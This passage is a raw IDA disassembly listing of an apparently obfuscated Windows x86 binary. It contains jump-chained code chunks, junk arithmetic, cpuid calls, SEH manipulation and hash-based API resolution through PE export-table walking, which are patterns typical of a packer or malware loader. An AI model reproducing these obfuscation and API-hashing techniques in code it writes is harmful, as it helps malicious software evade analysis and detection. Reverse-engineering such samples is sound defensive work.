; FUNCTION CHUNK AT 0040C207 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E402 SIZE 0000001B BYTES

		mov	[esp+0], eax
		pop	eax
		or	dword ptr [eax-8], 4
		mov	eax, [ebp-4]
		jmp	loc_40C207
sub_40CBC2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40CBD2:				; CODE XREF: _837l4vi2:loc_410034j
		jz	loc_40FA62
		jmp	loc_40A3B9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40CBDF:				; CODE XREF: _837l4vi2:0040CABEj
		jmp	loc_405FC8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CBE4	proc near		; CODE XREF: sub_40C4A5-5DF4j
		push	ebp
		mov	ebp, esp
		call	sub_40A91F


loc_40CBEC:				; CODE XREF: _837l4vi2:0040D70Dj
		jmp	nullsub_54
sub_40CBE4	endp

; ---------------------------------------------------------------------------

locret_40CBF1:				; CODE XREF: _837l4vi2:loc_40F32Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F9B3


loc_40CBF2:				; CODE XREF: sub_40F9B3-662j
		add	eax, edi
		xchg	ebx, [ebp+0]


loc_40CBF7:				; CODE XREF: sub_40F9B3:loc_4077DBj
		call	sub_40B088
		mov	edx, 0C90D1845h
		push	edx
		push	856A5B65h
		pop	edx
		jmp	loc_40DDFF
; END OF FUNCTION CHUNK	FOR sub_40F9B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A6D2


loc_40CC0D:				; CODE XREF: sub_40A6D2+123Bj
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		add	eax, edx
		mov	eax, [eax]
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		jmp	loc_40F651
; END OF FUNCTION CHUNK	FOR sub_40A6D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BE1F


loc_40CC22:				; CODE XREF: sub_40BE1F+3945j
		xchg	ebp, edi
		mov	[edi], ebx
		cmp	eax, edi
		jmp	near ptr byte_4066ED
; END OF FUNCTION CHUNK	FOR sub_40BE1F
; ---------------------------------------------------------------------------


loc_40CC2D:				; CODE XREF: _837l4vi2:0040A033j
		jns	locret_405E96

; =============== S U B	R O U T	I N E =======================================



sub_40CC33	proc near		; CODE XREF: sub_408EAA+Fp
		xchg	ebx, [esp+0]
		pop	ebx
		div	dword ptr [ebp-8]
		jmp	loc_405E7D
sub_40CC33	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40CC3F:				; CODE XREF: sub_40966E:loc_40FB9Fj
		mov	ds:dword_406D64, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_40CC45:				; CODE XREF: sub_40601E+ACC0j
		jmp	loc_40E0B0
; END OF FUNCTION CHUNK	FOR sub_40601E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC4A	proc near		; CODE XREF: sub_40966E-F86p
					; sub_408A60p ...

; FUNCTION CHUNK AT 0040FFD9 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jno	sub_4055B5
		push	offset sub_40B529
		jmp	loc_40FFD9
sub_40CC4A	endp

; ---------------------------------------------------------------------------
		add	ecx, eax
		jmp	sub_40A2D5
; ---------------------------------------------------------------------------
		mov	ebp, 626A29F9h
		jmp	sub_406C7D

; =============== S U B	R O U T	I N E =======================================



sub_40CC6E	proc near		; CODE XREF: _837l4vi2:00409B5Fj
					; sub_40A34C+8p

; FUNCTION CHUNK AT 00408847 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040A560 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		rol	edx, 5
		xor	edx, ecx
		rol	edx, 5
		jmp	loc_40A560
sub_40CC6E	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40CC80:				; CODE XREF: _837l4vi2:0040C1CFj
		sub	edx, 0DB8AD525h

; =============== S U B	R O U T	I N E =======================================



sub_40CC86	proc near		; CODE XREF: _837l4vi2:00410D03p
		mov	[esp+0], esi
sub_40CC86	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40CC89:				; CODE XREF: sub_40966E:loc_40532Bj
		pop	esi
		test	eax, 1
		jmp	loc_40BDFA
; ---------------------------------------------------------------------------


loc_40CC94:				; CODE XREF: sub_40966E:loc_408EC8j
		mov	eax, [ebp-20h]
		call	sub_40A83D
		pop	ecx
		push	offset loc_40AE3A
		jmp	nullsub_56
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------


loc_40CCA7:				; CODE XREF: _837l4vi2:loc_40D532j
		jz	loc_40C3EB
; START	OF FUNCTION CHUNK FOR sub_40DBCC


loc_40CCAD:				; CODE XREF: sub_40DBCC+12Ej
					; sub_40DC3E+16D6j
		jmp	nullsub_68
; END OF FUNCTION CHUNK	FOR sub_40DBCC
; ---------------------------------------------------------------------------
		adc	edi, 5381D33Ah
		mov	[ecx], esi
		xchg	edi, [esi]
		jnb	loc_408347
		jmp	loc_40C3EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_40CCC7:				; CODE XREF: sub_40882B:loc_408CC1j
		lea	eax, [ebp-70h]
		pushf
		mov	[esp+0], eax
		call	dword ptr [ebp-4]


loc_40CCD1:				; CODE XREF: sub_40B871+Aj
					; _837l4vi2:0040C4EDj
		call	sub_409A1B
		test	al, al
		jz	loc_409360
		jmp	loc_407E84
; END OF FUNCTION CHUNK	FOR sub_40882B
; ---------------------------------------------------------------------------
		popf
		jmp	sub_4069F5
; ---------------------------------------------------------------------------
		push	eax


loc_40CCEA:				; CODE XREF: _837l4vi2:00407523j
		push	ebx
		push	9056A852h
		pop	ebx
		add	ebx, 6FE9EE09h
		jmp	loc_40CDF8
; ---------------------------------------------------------------------------

locret_40CCFC:				; CODE XREF: _837l4vi2:00407E05j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40CCFD:				; CODE XREF: sub_4078C8+88A0j
		jmp	loc_406656
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------


loc_40CD02:				; CODE XREF: _837l4vi2:0040A0A6j
		jmp	loc_40CFA7

; =============== S U B	R O U T	I N E =======================================



sub_40CD07	proc near		; CODE XREF: _837l4vi2:00408FAAj
					; sub_410C99+9p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00405A29 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0041009B SIZE 00000005 BYTES

		mov	[esp+8+var_8], esi
		pop	esi
		mov	byte ptr [eax],	0C3h
		mov	[ebp-4], eax
		jmp	loc_41009B
sub_40CD07	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40CD16:				; CODE XREF: _837l4vi2:loc_408CDBj
		jnz	loc_40A871
		jmp	loc_409B34
; ---------------------------------------------------------------------------


loc_40CD21:				; DATA XREF: sub_40AC58:loc_40CDD9o
		ror	eax, 12h
		call	sub_40B5F5
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_40CD29:				; CODE XREF: sub_40C3AF+374Dj
		jmp	nullsub_172
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C94E


loc_40CD2E:				; CODE XREF: sub_40C94E+18j
		popf
		sbb	eax, esi
		pop	esi
		ror	edx, 11h
		sbb	edx, 4705B8D3h
		pop	edx
		pop	ebx
		jmp	loc_40682F
; END OF FUNCTION CHUNK	FOR sub_40C94E
; ---------------------------------------------------------------------------


loc_40CD42:				; DATA XREF: sub_405D62:loc_405806o
		jnz	loc_40B0A3
		mov	eax, [ebp-1Ch]
		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		jmp	loc_40DD41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405D62


loc_40CD59:				; CODE XREF: sub_405D62:loc_407F8Dj
		cmp	dword ptr [ebp-1Ch], 0Fh
		call	sub_40966E


loc_40CD62:				; CODE XREF: sub_41087A-A6DEj
		jnz	loc_40A171
		jmp	loc_40DF83
; END OF FUNCTION CHUNK	FOR sub_405D62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40CD6D:				; CODE XREF: sub_40D735-3CBDj
		jns	loc_40666B
		jbe	sub_40E69B
		jmp	loc_4063FB
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CAD0


loc_40CD7E:				; CODE XREF: sub_40CAD0+12j
		add	[esi], eax
		call	sub_40DE7F


loc_40CD85:				; CODE XREF: sub_410B67+Dj
		jmp	loc_4061BE
; END OF FUNCTION CHUNK	FOR sub_40CAD0

; =============== S U B	R O U T	I N E =======================================



sub_40CD8A	proc near		; DATA XREF: sub_40600B+410Co

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405F39 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004088AB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040C9EB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040E2DF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040EA23 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040EC2C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040FE9D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004100C8 SIZE 0000000B BYTES

		mov	eax, [ebp-4]
		pushf


loc_40CD8E:				; CODE XREF: sub_4108F9:loc_40F269j
		mov	[esp+4+var_4], eax
		push	eax
		jmp	loc_40E2DF
sub_40CD8A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, 0C90D1845h
		call	sub_40E739
		push	eax


loc_40CDA2:				; CODE XREF: _837l4vi2:0040750Dj
		rol	eax, 4
		push	ebx
		push	0B7E8A28Ch
		jmp	loc_40E9B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4056BA


loc_40CDB0:				; CODE XREF: sub_4056BA+503Aj
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		add	[esi], eax
		xor	[esi], ebx
		jmp	loc_40D080
; END OF FUNCTION CHUNK	FOR sub_4056BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_40CDBF:				; CODE XREF: sub_40E6CD:loc_406755j
		jz	loc_409163
		jmp	loc_40841C
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40CDCA:				; CODE XREF: sub_409D6B:loc_40E903j
		rol	eax, 12h
		mov	ds:dword_411050, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410BD3


loc_40CDD4:				; CODE XREF: sub_410BD3-74CBj
		jmp	loc_409CFB
; END OF FUNCTION CHUNK	FOR sub_410BD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC58


loc_40CDD9:				; CODE XREF: sub_40AC58:loc_40D24Ej
		push	offset loc_40CD21
		jmp	nullsub_218
; END OF FUNCTION CHUNK	FOR sub_40AC58
; ---------------------------------------------------------------------------


loc_40CDE3:				; CODE XREF: _837l4vi2:00410485j
		jnb	loc_40CEA4

; =============== S U B	R O U T	I N E =======================================



sub_40CDE9	proc near		; CODE XREF: sub_405CBC:loc_406CFDp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00409394 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040D3E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004100D3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00410FDB SIZE 0000000C BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edi
		mov	edi, ebp
		xchg	edi, [esp+0]
		call	sub_408F4B


loc_40CDF8:				; CODE XREF: _837l4vi2:0040CCF7j
		jmp	loc_4100D3
sub_40CDE9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406BF8


loc_40CDFD:				; CODE XREF: sub_406BF8+136Ej
		mov	[ebp-0Ch], eax


loc_40CE00:				; CODE XREF: sub_406BF8+1357j
					; _837l4vi2:loc_409608j ...
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		jmp	loc_40B51E
; END OF FUNCTION CHUNK	FOR sub_406BF8

; =============== S U B	R O U T	I N E =======================================



sub_40CE0E	proc near		; CODE XREF: _837l4vi2:00405A4Dj
					; sub_406178+5694p

; FUNCTION CHUNK AT 00407D21 SIZE 00000011 BYTES

		mov	[esp+0], ecx
		pop	ecx
		call	sub_40A1E6
		call	sub_40CA1B
		jmp	loc_407D21
sub_40CE0E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40CE21:				; CODE XREF: _837l4vi2:loc_4090ACj
		jz	loc_40E32D
		jmp	loc_40B3C8
; ---------------------------------------------------------------------------


loc_40CE2C:				; DATA XREF: _837l4vi2:0040E1ABo
		xchg	eax, [esp]
		jmp	loc_40DF20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C2F6


loc_40CE34:				; CODE XREF: sub_40C2F6:loc_40D469j
		push	0
		call	sub_4072E4


loc_40CE3B:				; CODE XREF: _837l4vi2:0040F850j
		jmp	loc_410A34
; END OF FUNCTION CHUNK	FOR sub_40C2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40CE40:				; CODE XREF: sub_40AA44-2DD2j
		jmp	loc_4095BF
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------


loc_40CE45:				; CODE XREF: _837l4vi2:0040B4B8j
		pop	esi
		xor	esi, ds:4000C9h
		add	esi, 0B420BC1h
		xchg	esi, [esp]
		jmp	loc_4056A4
; ---------------------------------------------------------------------------
		jmp	loc_4089EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407DC0


loc_40CE5F:				; CODE XREF: sub_407DC0+10j
		pop	large dword ptr	fs:0
		add	esp, 4


loc_40CE69:				; CODE XREF: _837l4vi2:0040FE5Bj
		pop	ecx
		mov	ecx, offset sub_4064CC
		xchg	ecx, [esp-0Ch+arg_8]
		retn
; END OF FUNCTION CHUNK	FOR sub_407DC0
; ---------------------------------------------------------------------------


loc_40CE73:				; DATA XREF: sub_40D7F5:loc_40B53Bo
		cmp	dword ptr [ebp-4], 0
		jz	loc_40F417
		mov	eax, [ebp-4]
		mov	eax, [eax]
		jmp	loc_40A77D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_40CE87:				; CODE XREF: sub_40D7F5:loc_40B308j
		cmp	byte ptr [ebp-5], 0
		jnz	loc_40F417
		jmp	loc_40A211
; END OF FUNCTION CHUNK	FOR sub_40D7F5

; =============== S U B	R O U T	I N E =======================================



sub_40CE96	proc near		; CODE XREF: _837l4vi2:004052C2p
					; _837l4vi2:0040F866j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405B64 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A6F9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040ADEA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040AFD5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040B08E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C277 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0040ED71 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F125 SIZE 00000004 BYTES

		mov	[esp+4+var_4], edx
		pop	edx
		add	eax, 5510D1h
		mov	eax, [eax]
		or	eax, eax


loc_40CEA4:				; CODE XREF: _837l4vi2:loc_40CDE3j
		jnz	loc_40AFD5
		jmp	loc_40ED71
sub_40CE96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40CEAF:				; CODE XREF: _837l4vi2:00410F5Aj
		jo	loc_40D15F

; =============== S U B	R O U T	I N E =======================================



sub_40CEB5	proc near		; CODE XREF: sub_40926F:loc_409295p

; FUNCTION CHUNK AT 00407DDC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00408417 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409715 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040D7D2 SIZE 00000014 BYTES

		mov	[esp+0], ecx
		pop	ecx
		mov	[ebp-0Ch], edx


loc_40CEBC:				; CODE XREF: sub_40CA86+Bj
		jmp	loc_40D7D2
sub_40CEB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CEC1	proc near		; CODE XREF: sub_407AA4:loc_4099A0p
					; sub_40926F+63F3j

; FUNCTION CHUNK AT 00405B0C SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00405F2E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040630C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00407BA4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00408FE2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004093FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004098D5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00409F59 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040FF8C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00410F2C SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		test	eax, eax
		jz	loc_40FF8C
		jmp	loc_406203
sub_40CEC1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40CED2:				; CODE XREF: _837l4vi2:0040991Bj
		ja	loc_40C815
; START	OF FUNCTION CHUNK FOR sub_40C5A3


loc_40CED8:				; CODE XREF: sub_40C5A3:loc_40B6D9j
		add	eax, 0F4344DBh
		xchg	eax, [esp-4+arg_0]
		jmp	loc_40EF17
; END OF FUNCTION CHUNK	FOR sub_40C5A3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40CEE8:				; CODE XREF: _837l4vi2:loc_40CB2Fj
		call	sub_40B088
		mov	edx, 0A22F8A70h
		call	sub_40CC4A
		mov	ds:dword_40BDBC, eax
		jmp	loc_40F4DA

; =============== S U B	R O U T	I N E =======================================



sub_40CF01	proc near		; CODE XREF: sub_4065B8:loc_40B7F9p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041088F SIZE 00000018 BYTES

		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		call	sub_409D80
		push	130C8CF3h
		pop	eax
		sub	eax, 2DBB0BD2h
		add	eax, 2BA263A3h
		add	eax, ebp
		jmp	loc_41088F
sub_40CF01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408055


loc_40CF25:				; CODE XREF: sub_408055:loc_407D88j
		jnz	loc_410D70
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx


loc_40CF36:				; CODE XREF: sub_405CBC:loc_409178j
		push	edx
		jmp	loc_408AB4
; END OF FUNCTION CHUNK	FOR sub_408055

; =============== S U B	R O U T	I N E =======================================



sub_40CF3C	proc near		; DATA XREF: sub_40966E:loc_405338o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405B49 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00405E27 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AA8C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040C328 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DA8A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040E4DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E5E1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040EE46 SIZE 00000007 BYTES

		xor	eax, 6BFCB342h
		add	eax, ebp
		add	eax, 6AB5E154h
		mov	eax, [eax]
		movzx	eax, word ptr [eax+6]
		mov	[ebp-10h], eax
		mov	eax, [ebp-4]
		movzx	eax, word ptr [eax+14h]
		jmp	loc_40AA8C
sub_40CF3C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40CF5F:				; CODE XREF: sub_40C1F0+39D5j
		popf
		sbb	edi, edx


loc_40CF62:				; CODE XREF: sub_40C1F0:loc_4082D2j
		mov	eax, 62h
		push	offset sub_40EDE0
		jmp	loc_40D42A
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_40CF71:				; CODE XREF: sub_408736-1320j
		jno	loc_410E7D
		xchg	ebx, edx
		mov	ebx, edx
		jmp	loc_4083A7
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------


loc_40CF80:				; CODE XREF: _837l4vi2:004082A1j
		jle	loc_407E4D


loc_40CF86:				; CODE XREF: _837l4vi2:loc_408291j
		add	edx, 0B33A5735h
		call	sub_40AB03
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_40CF91:				; CODE XREF: sub_41045F+8j
		jmp	loc_408F7B
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_40CF96:				; CODE XREF: sub_40C3AF-3E59j
		jmp	loc_4065D8
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40CF9B:				; CODE XREF: sub_407FEA-C5Dj
		mov	edx, 0B2F37EAh
		cmp	edx, ebx
		jmp	loc_40B372
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------


loc_40CFA7:				; CODE XREF: _837l4vi2:loc_40CD02j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E13A


loc_40CFAA:				; CODE XREF: sub_40E13A+5j
		jmp	nullsub_76
; END OF FUNCTION CHUNK	FOR sub_40E13A
; ---------------------------------------------------------------------------


loc_40CFAF:				; CODE XREF: _837l4vi2:0040A088j
		call	sub_40E583
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40CFB4:				; CODE XREF: sub_405950+324Aj
		jmp	loc_40C47D
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41020E


loc_40CFB9:				; CODE XREF: sub_41020E+Aj
		push	ecx
		mov	esp, ebp
		xchg	ebx, [esp+4+var_4]
		mov	ebp, ebx
		pop	ebx
		push	0B7FC7937h
		pop	eax
		jmp	loc_41051E
; END OF FUNCTION CHUNK	FOR sub_41020E
; ---------------------------------------------------------------------------
byte_40CFCD	db 9, 0C9h		; DATA XREF: sub_40FB01:loc_407B59o
; ---------------------------------------------------------------------------
		push	offset sub_407D5B
		jmp	locret_40C1A4
; ---------------------------------------------------------------------------

locret_40CFD9:				; CODE XREF: _837l4vi2:loc_409A60j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40845E


loc_40CFDA:				; CODE XREF: sub_40845E+7791j
		jmp	loc_40FF89
; END OF FUNCTION CHUNK	FOR sub_40845E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061E8


loc_40CFDF:				; CODE XREF: sub_4061E8+43DFj
		mov	edx, 90F68180h
		call	sub_40CC4A
		mov	ds:dword_406D64, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4061E8
; ---------------------------------------------------------------------------


loc_40CFEF:				; CODE XREF: _837l4vi2:004050CBj
		call	sub_40B088
		mov	edx, 0A22F8A70h
		jmp	loc_40967D
; ---------------------------------------------------------------------------


loc_40CFFE:				; CODE XREF: _837l4vi2:0040FD29j
		and	ecx, ebx
		shl	ebx, 8
		sub	edx, ecx


loc_40D005:				; CODE XREF: _837l4vi2:0040FD1Dj
		sub	edi, 1D405CC4h
		add	edi, 0B65B9CEh
		jmp	loc_40F58B
; ---------------------------------------------------------------------------


loc_40D016:				; CODE XREF: _837l4vi2:loc_4091C7j
		jge	loc_40FA1B
; START	OF FUNCTION CHUNK FOR sub_40A050


loc_40D01C:				; CODE XREF: sub_40A050+476Fj
		jmp	nullsub_86
; END OF FUNCTION CHUNK	FOR sub_40A050
; ---------------------------------------------------------------------------


loc_40D021:				; CODE XREF: _837l4vi2:004075F0j
		jmp	loc_40765C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4068AB


loc_40D026:				; CODE XREF: sub_4068AB+3j
		jmp	loc_40A304
; END OF FUNCTION CHUNK	FOR sub_4068AB
; ---------------------------------------------------------------------------
		test	edi, 0B2AC3FC4h
		jmp	loc_40E76C
; ---------------------------------------------------------------------------

locret_40D036:				; CODE XREF: _837l4vi2:loc_40F1CCj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_40D037:				; CODE XREF: sub_407AA4+82B9j
		jmp	loc_40EC1E
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40D03C:				; CODE XREF: sub_4078C8+94E2j
		shr	ebp, 14h
		add	eax, 485507Fh
		jo	sub_40EDB3
		jmp	loc_40BE73
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40D050:				; CODE XREF: sub_40D735:loc_40B749j
		cmp	dword ptr [ebp-4], 4
		jnz	loc_405D9D
		jmp	loc_40F448
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C2F6


loc_40D05F:				; CODE XREF: sub_40C2F6+11j
		push	0
		push	0


loc_40D063:				; CODE XREF: sub_410BD3-80B8j
		push	0
		push	ecx
		push	38F630BBh
		pop	ecx
		add	ecx, 0C709CF45h
		xchg	ecx, [esp+1Ch+var_1C]
		jmp	loc_40D469
; END OF FUNCTION CHUNK	FOR sub_40C2F6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40D07B:				; CODE XREF: sub_4078C8+14j
		jmp	loc_410DA4
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4056BA


loc_40D080:				; CODE XREF: sub_4056BA+7700j
		add	[esi], ecx
		xor	[esi], edx
		jmp	loc_405831
; END OF FUNCTION CHUNK	FOR sub_4056BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40D089:				; CODE XREF: sub_405950-79Fj
		call	sub_40CAD0
; END OF FUNCTION CHUNK	FOR sub_405950
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_40D08E:				; CODE XREF: sub_40989E-1E0Dj
		jmp	loc_40DBDE
; END OF FUNCTION CHUNK	FOR sub_40989E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECC0


loc_40D093:				; CODE XREF: sub_40ECC0+1496j
		and	eax, 3FA69822h
		rol	eax, 8
		test	eax, 100h
		jmp	loc_40F0C1
; END OF FUNCTION CHUNK	FOR sub_40ECC0
; ---------------------------------------------------------------------------


loc_40D0A7:				; DATA XREF: sub_40D363-3F01o
		cmp	ds:dword_40AB74, 0
		jnz	loc_410285
		lea	eax, [ebp-14h]
		push	eax
		call	sub_409E97
		mov	ds:dword_40AB74, eax
		jmp	loc_410285
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC9E


loc_40D0C8:				; CODE XREF: sub_40DC9E+5j
		jmp	nullsub_67
; END OF FUNCTION CHUNK	FOR sub_40DC9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409A88


loc_40D0CD:				; CODE XREF: sub_409A88+Cj
		jmp	loc_40E18F
; END OF FUNCTION CHUNK	FOR sub_409A88

; =============== S U B	R O U T	I N E =======================================



sub_40D0D2	proc near		; CODE XREF: sub_40892F+7p

; FUNCTION CHUNK AT 00405290 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004066E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407EAD SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00410C52 SIZE 00000005 BYTES

		call	sub_40EDB3
		push	ecx
		call	sub_40E69B
		mov	ds:dword_4109D8, eax
		xor	eax, eax
		mov	ds:dword_4109EC, eax


loc_40D0E9:				; CODE XREF: _837l4vi2:00408544j
		push	0
		push	0A9AE8614h
		jmp	loc_410C52
sub_40D0D2	endp

